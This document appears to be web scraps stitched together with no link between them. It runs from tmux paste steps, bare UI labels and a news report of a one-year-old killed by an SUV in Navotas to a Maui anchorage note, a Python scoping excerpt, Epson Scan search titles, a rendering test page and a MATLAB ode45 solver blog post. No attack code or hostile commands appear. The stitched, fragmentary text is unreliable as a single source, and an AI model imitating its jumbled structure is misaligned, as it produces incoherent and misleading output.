to get out of copy-mode.- Move to your local session pane.
- Get in insert mode in vim.
<prefix>p
to paste from the tmux buffer.


Change Facebook
Change Apple
Change Microsoft
Show Microsoft
Change Great
Facebook is
great.
Apple.
Microsoft.
Microsoft Link.
Enter your name:


Girl, 1, slips on sidewalk, killed by SUV
by Edd ReyesA one-year-old girl died after she slipped on a sidewalk and was accidentally hit by a sports utility vehicle (SUV) driven by a woman Sunday evening in Navotas City.
Elijah Tiffany Salvador, of No. 18A Leongson St. in Bgy. San Roque, succumbed to severe body injuries while being rushed to Navotas City Hospital. The driver of the vehicle involved identified as Meldy Santos, also a resident of Leongson Street, immediately fled after the accident.
Navotas police chief Col. Rolando Balasabas said the incident happened at around 6:30 p.m. at the corner of Leongson and Pat De Asis Streets in Bgy. San Roque.
The child was slowly walking on the sidewalk together with Rachelle Anne Solomon, 26, when the child slipped at the gutter and fell on the road. She was then accidentally hit by a passing SUV (WIQ-694) driven by Santos.
The suspect’s cousin Andrew Mendoza said Santos panicked, alighted from the vehicle and immediately fled.
Police said it was Mendoza who rushed the child to the hospital.
Col. Balasabas said charges of reckless imprudence resulting in homicide will be filed against Santos before the Navotas City Prosecutor’s Office.


Sitting on the extreme eastern side of the island of Maui, This bay is one of the most attractive destinations on the island which has many beautiful anchorages.
Position 20°55.75'N, 155°58.36'W.
Many places in the bay are good anchorages, including off the old pier, which is no longer in use. It is not safe; do not land on it.
When the trade winds are blowing strongly, the anchorage is uncomfortable, but in light or southerly winds, it remains calm.
The holding is good in mud and sand in about 25ft.
Last updated December 2009.


| I l@ve RuBoard |
1.9 Namespace and Scope RulesThis section discusses rules for name binding and lookup. See also Section <IP_ADDRESS> and Section <IP_ADDRESS> earlier, in Section 1.7. In all cases, names are created when first assigned but must already exist when referenced. Qualified and unqualified names are resolved differently. 1.9.1 Qualified Names: Object NamespacesQualified names (X, in object.X) are known as attributes and live in object namespaces. Assignments in some lexical scopes[15] initialize object namespaces (modules, classes).
1.9.2 Unqualified Names: Lexical ScopesUnqualified names (X) involve lexical scope rules. Assignments bind such names to the local scope, unless they are declared global.
<IP_ADDRESS> Statically nested scopesThe enclosing scope search of the last rule in the previous section is called statically nested scopes, made optional in 2.1 (use from _ _future_ _ import nested_scopes to enable), and standard in 2.2. For example, the following function works as-is in 2.2 and later, because the reference to x within f2 has access to the scope of f1: def f1( ): x = 42 def f2( ): print x f2( ) In Python versions prior to 2.2 this function fails, because name x is not local (in f2's scope), global (in the module enclosing f1), or built-in. To make such cases work prior to 2.2, default arguments are typically used to retain values from the immediately enclosing scope (defaults are evaluated before entering a def): def f1( ): x = 42 def f2(x=x): print x f2( ) This rule also applies to lambda expressions, which imply a nested scope just like def and are more commonly nested in practice: def func( ): x = 42 action = (lambda n: x ** n) # works in 2.2 def func( ): x = 42 action = (lambda n, x=x: x ** n) # use before 2.2 Scopes nest arbitrarily, but only enclosing functions (not classes) are searched: def f1( ): x = 42 def f2( ): def f3( ): print x # found in f1's scope f3( ) f2( ) As a consequence of this change in 2.2, the following constructs may no longer be valid within a function body: from module import *, and exec statements without explicit namespace dictionaries. Both constructs can assign unknown names and so prevent the compiler from detecting names defined in enclosing scopes. Programs may also fail in 2.2 if they use the same name in both the global and a lexically enclosing function's scope; the enclosing function's name now hides the global. |
| I l@ve RuBoard |


Apply pen style class (greenThickPen)
Enable pen color/thickness
Color:
Thickness:
Theme:
Language:
Font:
Theme or pen style applied will be written here.


To highlight a square with the default comment color : Press the Ctrl key then click on a square. To draw an arrow with the default comment color : Press the Ctrl key then draw a line from a to b. Also, you can : - Press Ctrl+Shift to have Shift comment color - Press Ctrl+Alt to have Alt comment color.


Scanning In Epson Scan 2
Epson Scan 2 Will It Work With My Scanner Scan Your Entire Life
Scan Over Network Using Epson Scan 2 Epson
Windows 10 Support S0 Epson Us
Download Free Epson Scan 2 Utility 6 1 For Macos
Setting Up Network Scanning
Epson Scan Utility Mac Download Peatix
Epson Scan Download Page 1 Line 17qq Com
Scanning Raw Uncalibrated With Epson Brand Scanners Video Game Preservation Collective
How To Download And Install Epson Scan Youtube
Epson Scan 2 How To Update Your Epson Scanner To Work With Latest Macos And Windows V2 Youtube
Epson Scan Zofti Free Downloads
Epson Scan Software Windows 8 Pdffluid
よくある質問 Faq エプソン Epson Scan 2 スキャナードライバー をインストールした後の設定方法について教えてください Mac Os X
よくある質問 Faq エプソン
Epson Scan 2 Download Windows 10 Driver Scan Epson L3110 Download
Epson Documentscan Apps On Google Play
Selecting Epson Scan Settings
How To Install Epson Scan Driver Youtube


Hi, there! My name is Ivan and im a 3rd year University of Glasgow Student. My degree is Bsc Computing Science and Business and Managment. My hobbies are Netflix and worying.


* HELP
*
* 3DVIEWER:
* Supported file format of 3d object is .obj.
* Use mouse to control rotation/zoom/pan.
*
* Make a snapshot of the scene by the "Snapshot" button.
* The image will be displayed in the Image editor screen right below the 3dviewer screen. Scroll down to see it.
*
* IMAGE EDITOR:
* Use the snapshot or open an image file from local filesystem.
*
* Cursor tool:
* Does nothing. Suitable when saving the image.
*
* Meter tool:
* Measures a distance in pixels on the image editor screen.
*
* Crop tool:
* Crops the image to the selection.
*
* Grid tool:
* Displays the grid over the image editor screen.
*
* Restore:
* Restores the image to the state when it was loaded.
*
* Zoom + / - :
* Resizes the image.
*
* Save:
* Right mouse click on the image and save.


There should be eight numbered lines stacked below, each starting with the stated line number.
Line one.
2. Line two.
3. Line
three.
4. Line four.
FAIL: This text should not appear.
5. Line five.
FAIL: This text should not appear.
6. Line six.
7. Line seven.
8. Line eight.


Hello Everyone !!
Thanks for continuing with this post.
In the last tutorial, we saw how to make use of existing pre-trained machine learning models like mobilenet and use them for doing image classification. In this tutorial, we'll go ahead and see how to do the same on live video in the browser using your webcam or phone's camera. So, let's get started.
First, let me begin by showing you a simple demo of what we'll be building in this tutorial. Go ahead and click on the button that says "Click Me". Also provide the camera access when the browser prompts you to do so for this demo.
Model Predictions with Probability appear here.
Now that we know how to use pre-trained model to make prediction on images in the browser, now it's time to see how we can use the same model to make predictions on live video using our webcam in the browser.
Great work on completing this tutorial. Next, we'll see how to use a pre-trained model using TensorFlow.js in the browser and make predictions on live stream video. Image Classification on Live Video using TensorFlow.js
For more projects and code, follow me on Github
Please feel free to leave any comments, suggestions, corrections if any, below.
comments powered by Disqus


14 Feb 2015
From ODE45 to others I
ode45
is a popular function within Matlab in each version. It uses explicit Runge Kutta 4(5) as integrator for first order equation:
$$\dot{\xi} = f(\xi, t)$$
ode45
has function definition as
[t,x] = ode45(@fname, tspan, xinit, options)
- about
tspan
where tspan
is used to control the size of output. The default setting for tspan
with only two elements will enforce integration for the whole domain and output all the tiny time step.
In general, do not output all the things. Large system with long time interval will consume the memory rapidly. Simply insert some interested time steps into tspan
will be efficient for computing, without extra overhead on allocating memory for storage.
- about
fname
The usual case for solving ODE is the first order equation stated above. But in some cases, we are more interested in solving $$M(t, \xi) \dot{\xi} = f(\xi, t)$$
Some solvers do not support variable mass matrix or singular ones.
To apply the solver to this kind of equation, we need to adapt our option through odeset
, otherwise default values will be used without any notice.
Remark on Error Control
% Error Control
% RelTol 1e-3
% AbsTol 1e-6
% NormControl off
% example
options = odeset('RelTol', 1e-6, 'AbsTol', 1e-8, 'NormControl', 'on');
The default normal control is off then there is a stringent element-wise condition on error vector, when it is turned on, we only focus on the integral error only, which might be faster, since there will be only one judgment.
Remark on Output Properties
% Solver Output Properties
% NonNegative
% OutputFcn
% OutputSel
% Refine
% Stats
% example
options = odeset('NonNegative', [], 'OutputFcn', @func, 'OutputSel', [1 3],...
'Refine', 1, 'Stats', 'off');
NonNegative
indicates which slots of solution must be non-negative, default as []
.
OutputFcn
is the callback function handle. Should be called as status = f(t, x, flag)
.
If
flag
is'init'
, the function calls callback withtspan
andy0
.If
flag
is[]
, it continues with normal callback.status
controls the process, wheneverstatus
gives 1, the process stops, otherwise, thestatus
must be 0.If
flag
is'done'
, the function callsf([], [], 'done')
.
OutputSel
is the index of solution passed to the callback.
Refine
controls the number of integration steps. Since we usually use tspan
with inserted time stamps, Refine
is not useful here.
Stats
is not used usually for efficiency purpose.
Remark on Mass Matrix Properties
% Mass Matrix and DAE Properties
% Mass
% MStateDependence
% MvPattern
% MassSingular
% InitialSlope
% example
options = odeset('Mass', @massfcn, 'MStateDependence', 'weak', 'MvPattern',...
@mvpatternfcn, 'MassSingular', 'no');
Mass
could be a matrix or a handle, and a handle is more efficient. If the matrix is not singular, then just set MassSingular
as no
to avoid testing. For performance consideration, if the mass matrix is a fixed matrix $M$ and also invertible, then make the equation as
$$\dot{\xi} = M^{-1}(f(\xi))$$
is much better.
In our wave equation, we encountered the case like:
$$M [\dot{\mathbf{u}}, \dot{\mathbf{v}}, \dot{\mathbf{w}}, \dot{\mathbf{z}}] = \mathbf{f}(\mathbf{u}, \mathbf{v}, \mathbf{w}, \mathbf{z})$$
With common setting, it would be written as
$$ p = \left( \matrix{u \\ v\\w\\z} \right) , \left(\matrix{M & & &\\ & M & & \\ && M & \\ &&& M}\right)\dot{p} = f (p)$$
Inverting the diagonal matrix is a vain of time, since it only needs to calculate a mldivide
on each time step.
In Matlab, the fastest way I found is doing this, however, the setback is the allocation of space. At each round, $p$ has to be allocated for ode45
, on the other hand, we are calculating the component in following way, which means using horizcat
to create a extra copy of the vectors $[u, v, w, z]$, and then copy the left hand side into the output vector.
$$[\dot{\mathbf{u}}, \dot{\mathbf{v}}, \dot{\mathbf{w}}, \dot{\mathbf{z}}] = M^{-1}\mathbf{f}(\mathbf{u}, \mathbf{v}, \mathbf{w}, \mathbf{z})$$
The reason that we do not use mldivide
component-wisely is: TOO SLOW, overheads will dominate the computing cost, use 2.5x
more time than the other way we used.
Quoted from official:
ode45 is based on an explicit Runge-Kutta (4,5) formula, the Dormand-Prince pair. It is a one-step solver – in computing $y(t_n)$, it needs only the solution at the immediately preceding time point, $y(t_{n-1})$. In general, ode45 is the best function to apply as a first try for most problems.
ode23 is an implementation of an explicit Runge-Kutta (2,3) pair of Bogacki and Shampine. It may be more efficient than ode45 at crude tolerances and in the presence of moderate stiffness. Like ode45, ode23 is a one-step solver.
ode113 is a variable order Adams-Bashforth-Moulton PECE solver. It may be more efficient than ode45 at stringent tolerances and when the ODE file function is particularly expensive to evaluate. ode113 is a multistep solver — it normally needs the solutions at several preceding time points to compute the current solution.
The above algorithms are intended to solve nonstiff systems. If they appear to be unduly slow, try using one of the stiff solvers below.
ode15s is a variable order solver based on the numerical differentiation formulas (NDFs). Optionally, it uses the backward differentiation formulas (BDFs, also known as Gear's method) that are usually less efficient. Like ode113, ode15s is a multistep solver. Try ode15s when ode45 fails, or is very inefficient, and you suspect that the problem is stiff, or when solving a differential-algebraic problem.
ode23s is based on a modified Rosenbrock formula of order 2. Because it is a one-step solver, it may be more efficient than ode15s at crude tolerances. It can solve some kinds of stiff problems for which ode15s is not effective.
ode23t is an implementation of the trapezoidal rule using a "free" interpolant. Use this solver if the problem is only moderately stiff and you need a solution without numerical damping. ode23t can solve DAEs.
ode23tb is an implementation of TR-BDF2, an implicit Runge-Kutta formula with a first stage that is a trapezoidal rule step and a second stage that is a backward differentiation formula of order two. By construction, the same iteration matrix is used in evaluating both stages. Like ode23s, this solver may be more efficient than ode15s at crude tolerances.
The ode45
is usually the first one to be used for solving ODE with Matlab, while if the local 5th(4th) order accuracy is not the goal, then ode113
is more economic and time-saving, much better than ode23
.
% timing for PML, all of them share the same config.
% only uses [0, 0.5, 1.0] as 3 outputs. That is minimum.
ode45: 234 seconds
ode23: 524 seconds
ode113: 116 seconds